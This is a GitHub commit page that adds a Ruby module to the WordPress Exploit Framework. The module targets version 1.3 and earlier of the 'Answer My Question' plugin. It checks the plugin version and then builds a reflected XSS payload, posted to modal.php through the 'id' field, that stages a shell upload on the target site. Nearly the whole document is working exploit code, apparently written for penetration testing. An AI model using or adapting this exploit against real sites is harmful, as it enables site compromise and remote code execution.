Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4422878

Browse files
committed
Add Answer My Question 1.3 reflected XSS shell upload
1 parent 882747f commit 4422878

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AnswerMyQuestionReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Answer My Question <= 1.3 Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8800']
14+
],
15+
date: 'Apr 24 2017'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_changelog('answer-my-question', 'readme.txt', '1.4')
21+
end
22+
23+
def vulnerable_url
24+
normalize_uri(wordpress_url_plugins, 'answer-my-question', 'modal.php')
25+
end
26+
27+
def initial_script
28+
create_basic_post_script(
29+
vulnerable_url,
30+
'id' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
31+
'posted' => '1',
32+
'notify' => '',
33+
'user_email' => Utility::Text.rand_email,
34+
'subject' => Utility::Text.rand_alpha(10),
35+
'question' => Utility::Text.rand_alpha(10),
36+
'answer' => Utility::Text.rand_alpha(10)
37+
)
38+
end
39+
end

0 commit comments

Comments
 (0)